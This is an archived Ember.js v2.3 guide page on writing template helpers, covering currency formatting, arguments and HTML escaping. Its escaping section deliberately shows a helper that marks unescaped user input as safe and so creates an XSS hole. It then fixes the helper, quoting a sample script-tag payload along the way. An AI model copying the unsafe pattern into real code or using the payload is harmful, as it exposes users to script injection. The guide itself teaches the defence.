placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember115714" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember115715" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember115716" class="ember-basic-dropdown ember-view"> <div aria-label="v2.3.0" aria-owns="ember-basic-dropdown-content-ember115716" tabindex="0" data-ebd-id="ember115716-trigger" role="button" id="ember115717" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.3 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember115716" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember115721" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember115724" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/getting-started" id="ember115725" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember115726" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115728" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/tutorial" id="ember115729" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember115730" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115732" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/object-model" id="ember115733" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember115734" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115736" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/routing" id="ember115737" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember115738" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115740" class="cp-Panel cp-is-open ember-view"><a href="/v2.3.0/templates" id="ember115741" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember115742" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember115743" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/index" id="ember115745" class="ember-view"> Handlebars Basics </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/built-in-helpers" id="ember115747" class="ember-view"> Built-in Helpers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/conditionals" id="ember115749" class="ember-view"> Conditionals </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/displaying-a-list-of-items" id="ember115751" class="ember-view"> Displaying a List of Items </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/displaying-the-keys-in-an-object" id="ember115753" class="ember-view"> Displaying the Keys in an Object </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/binding-element-attributes" id="ember115755" class="ember-view"> Binding Element Attributes </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/links" id="ember115757" class="ember-view"> Links </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/actions" id="ember115759" class="ember-view"> Actions </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/input-helpers" id="ember115761" class="ember-view"> Input Helpers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/development-helpers" id="ember115763" class="ember-view"> Development Helpers </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.3.0/templates/writing-helpers" id="ember115765" class="selected ember-view"> Writing Helpers </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115767" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/components" id="ember115768" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember115769" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115771" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/controllers" id="ember115772" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember115773" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115775" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/models" id="ember115776" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember115777" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115779" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/applications" id="ember115780" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember115781" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115783" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/testing" id="ember115784" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember115785" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115787" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/ember-inspector" id="ember115788" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember115789" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115791" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/addons-and-dependencies" id="ember115792" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember115793" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115795" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/configuring-ember" id="ember115796" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember115797" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115799" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/contributing" id="ember115800" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember115801" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115803" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/glossary" id="ember115804" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember115805" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember115806" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.3.0. <a href="/release/templates/writing-helpers" id="ember115807" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.3.0/templates/writing-helpers.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Writing Helpers </h1> <hr> <div id="ember115808" class="ember-view"><p>Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users.</p> <p>For example, imagine we have an <code>Invoice</code> model that contains a <code>totalDue</code> attribute, which represents the total amount due for that invoice. Because we do not want our company to go out of business due to strange JavaScript rounding errors, <a href="http://stackoverflow.com/a/3730040">we store this value in cents instead of a floating point dollar value</a>.</p> <p>However, if we display dollar values to our users as "100¢" instead of "$1.00", they may be very confused. We can write a helper to format these values into the appropriate human-readable form.</p> <p>Let's create a <code>format-currency</code> helper that takes an integer count of cents and turns it into formatted dollars.</p> <p>To use the <code>format-currency</code> helper, you call it using curly braces in your template:</p> <pre><code class="handlebars language-handlebars">Your total is {{format-currency model.totalDue}}. </code></pre> <p>Let's now implement the helper. Helpers are functions that take one or more inputs and return a single output that should be put into the HTML.</p> <p>To add a new helper, create a file with the name of the helper you want (e.g. <code>format-currency.js</code>) in your application's <code>helpers</code> directory. You can also have Ember generate the file for you from the command line:</p> <pre><code class="bash language-bash">ember generate helper format-currency </code></pre> <p>That file should export a function wrapped with <a href="https://api.emberjs.com/classes/Ember.Helper.html"><code>Ember.Helper.helper()</code></a>:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export function formatCurrency(params) { let value = params[0], dollars = Math.floor(value / 100), cents = value % 100, sign = '$'; if (cents.toString().length === 1) { cents = '0' + cents; } return `${sign}${dollars}.${cents}`; } export default Ember.Helper.helper(formatCurrency); </code></pre> <p>In this example, the function receives a dollar amount in cents as the first parameter (<code>params[0]</code>). We then use regular JavaScript to turn the count of cents into a formatted string, like <code>"$5.00"</code>.</p> <p>Whenever you use your helper in a template, Ember will call this function and insert whatever you return from the helper into the DOM.</p> <p>So, if we want to display a purchase total we can pass the value into the template in cents:</p> <pre><code class="handlebars language-handlebars">Your total is {{format-currency 250}}. </code></pre> <p>And Ember makes use of our new helper function to replace the content inside the <code>{{ }}</code> with the formatted amount.</p> <pre><code class="handlebars language-handlebars">Your total is $2.50. </code></pre> <p>Whenever the arguments you've passed to a helper change, whether they come from a model or a component, Ember will automatically call your helper again with the new values and keep the page up-to-date.</p> <h3 id="toc_helper-names">Helper Names</h3> <section aria-labelledby="toc_helper-names"> <p>Unlike components, helpers do not require a dash (<code>-</code>) character in their name.</p> </section> <h3 id="toc_helper-arguments">Helper Arguments</h3> <section aria-labelledby="toc_helper-arguments"> <p>You can pass one or more arguments to be used inside the function. In the above example, we passed the amount in cents as the first and only argument.</p> <p>To pass multiple arguments to a helper, add them as a space-separated list after the helper name:</p> <pre><code class="handlebars language-handlebars">{{my-helper "hello" "world"}} </code></pre> <p>An array of these arguments is passed to the helper function:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params) { let arg1 = params[0]; let arg2 = params[1]; console.log(arg1); // =&gt; "hello" console.log(arg2); // =&gt; "world" }); </code></pre> <p>You can use JavaScript's destructuring assignment shorthand to clean up the code. This example is equivalent to the above example (note the function signature):</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function([arg1, arg2]) { console.log(arg1); // =&gt; "hello" console.log(arg2); // =&gt; "world" }); </code></pre> </section> <h3 id="toc_named-arguments">Named Arguments</h3> <section aria-labelledby="toc_named-arguments"> <p>Normal arguments are useful for passing data to be transformed into helper functions. However, because the order in which you pass arguments matters, it is usually best not to have helpers take more than one or two of them.</p> <p>That said, sometimes you may want to make behavior of helpers configurable by the developers that call them from their templates. For example, let's abandon our Americentric ways and update our <code>format-currency</code> helper to take an optional configuration for which currency symbol to display.</p> <p>Helpers allow you to pass named arguments as a JavaScript object that contains the name of the argument along with an associated value. The order in which named arguments are supplied does not affect functionality.</p> <p>In this example, we can pass a <code>sign</code> argument to our <code>format-currency</code> helper:</p> <pre><code class="handlebars language-handlebars">{{format-currency 350 sign="£"}} </code></pre> <p>We'd like our helper to print pounds sterling rather than US dollars:</p> <pre><code class="handlebars language-handlebars">£3.50 </code></pre> <p>The object containing named arguments is passed as the second argument to the helper function. Here is our example from above, updated to support the optional <code>sign</code> option:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export default Ember.Helper.helper(function(params, namedArgs) { let value = params[0], dollars = Math.floor(value / 100), cents = value % 100, sign = namedArgs.sign === undefined ? '$' : namedArgs.sign; if (cents.toString().length === 1) { cents = '0' + cents; } return `${sign}${dollars}.${cents}`; }); </code></pre> <p>You can pass as many named arguments as you'd like. They get added to the <code>namedArgs</code> argument passed to the function:</p> <pre><code class="handlebars language-handlebars">{{my-helper option1="hello" option2="world" option3="goodbye cruel world"}} </code></pre> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params, namedArgs) { console.log(namedArgs.option1); // =&gt; "hello" console.log(namedArgs.option2); // =&gt; "world" console.log(namedArgs.option3); // =&gt; "goodbye cruel world" }); </code></pre> <p>You can use JavaScript's destructuring assignment shorthand in this case as well to clean up the above code:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params, { option1, option2, option3 }) { console.log(option1); // =&gt; "hello" console.log(option2); // =&gt; "world" console.log(option3); // =&gt; "goodbye cruel world" }); </code></pre> <p>In sum, arguments are good for passing values:</p> <pre><code class="handlebars language-handlebars">{{format-date currentDate}} </code></pre> <p>Hashes are useful for configuring the behavior of a helper:</p> <pre><code class="handlebars language-handlebars">{{print-current-date format="YYYY MM DD"}} </code></pre> <p>You can have as many of both as you want, so long as the parameters come first:</p> <pre><code class="handlebars language-handlebars">{{format-date-and-time date time format="YYYY MM DD h:mm" locale="en"}} </code></pre> <p>The above example contains two arguments:</p> <ul> <li><code>date</code></li> <li><code>time</code></li> </ul> <p>And two named arguments:</p> <ul> <li><code>format="YYY MM DD h:mm"</code></li> <li><code>locale="en"</code></li> </ul> </section> <h3 id="toc_class-based-helpers">Class-based Helpers</h3> <section aria-labelledby="toc_class-based-helpers"> <p>By default, helpers are <em>stateless</em>. They are passed inputs (parameters and a hash), they perform an operation on those inputs, and return a single output. They have no side-effects and don't save any information that is used on subsequent runs of the function.</p> <p>In some situations, however, you may need to write a helper that interacts with the rest of your application. You can create class-based helpers that have access to services in your application, and can optionally save state as well, although this is usually unnecessary and error-prone.</p> <p>To create a class-based helper, rather than exporting a simple function, you should export a subclass of <a href="https://api.emberjs.com/classes/Ember.Helper.html"><code>Ember.Helper</code></a>. Helper classes must contain a <a href="https://api.emberjs.com/classes/Ember.Helper.html#method_compute"><code>compute</code></a> method that behaves the same as the function passed to <a href="https://api.emberjs.com/classes/Ember.Helper.html#method_helper"><code>Ember.Helper.helper</code></a>. In order to access a service, you must first inject it into the class-based helper. Once added, you can call the service's methods or access its properties from within the <code>compute()</code> method.</p> <p>As an exercise, here is the above <code>format-currency</code> helper re-factored into a class-based helper:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export default Ember.Helper.extend({ compute(params, hash) { let value = params[0], dollars = Math.floor(value / 100), cents = value % 100, sign = hash.sign === undefined ? '$' : hash.sign; if (cents.toString().length === 1) { cents = '0' + cents; } return `${sign}${dollars}.${cents}`; } }); </code></pre> <p>This is exactly equivalent to the <code>format-currency</code> example above. You can think of the function version as a shorthand for the longer class form if it does not require dependency injection.</p> <p>As another example, let's make a helper utilizing an authentication service that welcomes users by their name if they're logged in:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/is-authenticated.js>export default Ember.Helper.extend({ authentication: Ember.inject.service(), compute() { let authentication = this.get('authentication'); if (authentication.get('isAuthenticated')) { return 'Welcome back, ' + authentication.get('username'); } else { return 'Not logged in'; } } }); </code></pre> </section> <h3 id="toc_escaping-html-content">Escaping HTML Content</h3> <section aria-labelledby="toc_escaping-html-content"> <p>To protect your application from cross-site scripting attacks (XSS), Ember automatically escapes any value you return from a helper so that the browser will not interpret it as HTML.</p> <p>For example, here's a <code>make-bold</code> helper that returns a string containing HTML:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) { return `&lt;b&gt;${params[0]}&lt;/b&gt;`; }); </code></pre> <p>You can invoke it like this:</p> <pre><code class="handlebars language-handlebars">{{make-bold "Hello world"}} </code></pre> <p>Ember will escape the HTML tags, like this:</p> <pre><code class="handlebars language-handlebars">&amp;lt;b&amp;gt;Hello world&amp;lt;/b&amp;gt; </code></pre> <p>This shows the literal string <code>&lt;b&gt;Hello world&lt;/b&gt;</code> to the user, rather than the text in bold as you probably intended. We can tell Ember not to escape the return value (that is, that it is <em>safe</em>) by using the <a href="https://api.emberjs.com/classes/Ember.String.html#method_htmlSafe"><code>htmlSafe</code></a> string utility:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) { return Ember.String.htmlSafe(`&lt;b&gt;${params[0]}&lt;/b&gt;`); }); </code></pre> <p>If you return a <code>SafeString</code> (a string that has been wrapped in a call to <a href="https://api.emberjs.com/classes/Ember.String.html#method_htmlSafe"><code>htmlSafe</code></a>), Ember knows that you have vouched on its behalf that it contains no malicious HTML.</p> <p>However, note that in the above code we may have inadvertently introduced an XSS vulnerability into our application! By blindly marking the string as safe, a malicious user could get their own HTML into our app, allowing them to do things like access sensitive customer data.</p> <p>For example, imagine that we have a chat app and use our <code>make-bold</code> helper to welcome the new users into the channel:</p> <pre><code class="handlebars language-handlebars">Welcome back! {{make-bold model.firstName}} has joined the channel. </code></pre> <p>Now a malicious user simply needs to set their <code>firstName</code> to a string containing HTML (like a <code>&lt;script&gt;</code> tag that sends private customer data to their server, for example) and every user in that chat room has been compromised.</p> <p>In general, you should prefer using components if you are wrapping content in HTML. However, if you really want to include a mix of HTML and values from models in what you return from the helper, make sure you escape anything that may have come from an untrusted user with the <code>escapeExpression</code> utility:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) { let value = Ember.Handlebars.Utils.escapeExpression(params[0]); return Ember.String.htmlSafe(`&lt;b&gt;${value}&lt;/b&gt;`); }); </code></pre> <p>Now the value passed into the helper has its HTML escaped, but the trusted <code>&lt;b&gt;</code> tags that we want to wrap the value in are <em>not</em> escaped. A malicious user setting their <code>firstName</code> to something containing HTML would see this:</p> <pre><code class="handlebars language-handlebars">Welcome back! &lt;b&gt;&amp;lt;script type="javascript"&amp;gt;alert('pwned!');&amp;lt;/script&amp;gt;&lt;/b&gt; has joined the channel. </code></pre> </section> </div> <footer id="ember115809" class="ember-view"> <a href="/v2.3.0/templates/development-helpers" id="ember115810" class="previous-guide ember-view">Development Helpers</a> <a href="/v2.3.0/components/index" id="ember115811" class="next-guide ember-view"> We've finished covering Templates. Next up: Components - Defining a Component </a></footer> </article> </main> <footer id="ember115812" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember115813" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember115814" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember115815" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 